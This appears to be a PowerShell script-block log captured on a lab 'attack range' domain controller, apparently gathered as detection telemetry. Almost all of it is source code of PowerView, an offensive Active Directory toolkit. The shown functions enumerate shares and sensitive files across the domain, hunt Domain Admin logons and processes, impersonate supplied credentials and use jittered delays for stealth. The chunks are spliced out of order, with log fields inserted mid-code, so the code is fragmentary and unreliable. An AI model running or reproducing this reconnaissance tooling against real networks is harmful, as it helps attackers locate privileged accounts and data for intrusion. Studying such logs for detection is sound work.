$SearcherArguments['LDAPFilter'] = '(member=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
# standard group names to ignore
$ExcludeGroups = @('Users', 'Domain Users', 'Guests')
Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -notcontains $_.samaccountname } | ForEach-Object {
$GroupName = $_.samAccountName
$GroupDistinguishedName = $_.distinguishedname
$GroupDomain = $GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$_.member | ForEach-Object {
# filter for foreign SIDs in the cn field for users in another domain,
# or if the DN doesn't end with the proper DN for the queried domain
$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne $MemberDomain)) {
$MemberDistinguishedName = $_
$MemberName = $_.Split(',')[0].split('=')[1]
$ForeignGroupMember = New-Object PSObject
$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $Membcb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118537Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4248 $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
# $Remark = $Share.Remark
$Path = '\\'+$TargetComputer+'\'+$ShareName
if (($ShareName) -and ($ShareName.trim() -ne '')) {
# see if we want to check access to this share
if ($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$Share
}
catch {
Write-Verbose "Error accessing share path $Path : $_"
}
}
else {
$Share
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken
}
}
else {
Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'CheckShareAccess' = $CheckShareAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-InterestingDomainShareFile {
<#
.SYNOPSIS
Searches for files matching specific criteria on readable shares
in the domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. It will then use Find-InterestingFile on each
readhable share, searching for files marching specific criteria. If -Credential
is passed, then Invoke-UserImpersonation is used to impersonate the specified
user before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER SharePath
Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
.PARAMETER ExcludedShares
Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER cb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118536Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4148) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatchcb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118535Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4048topOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
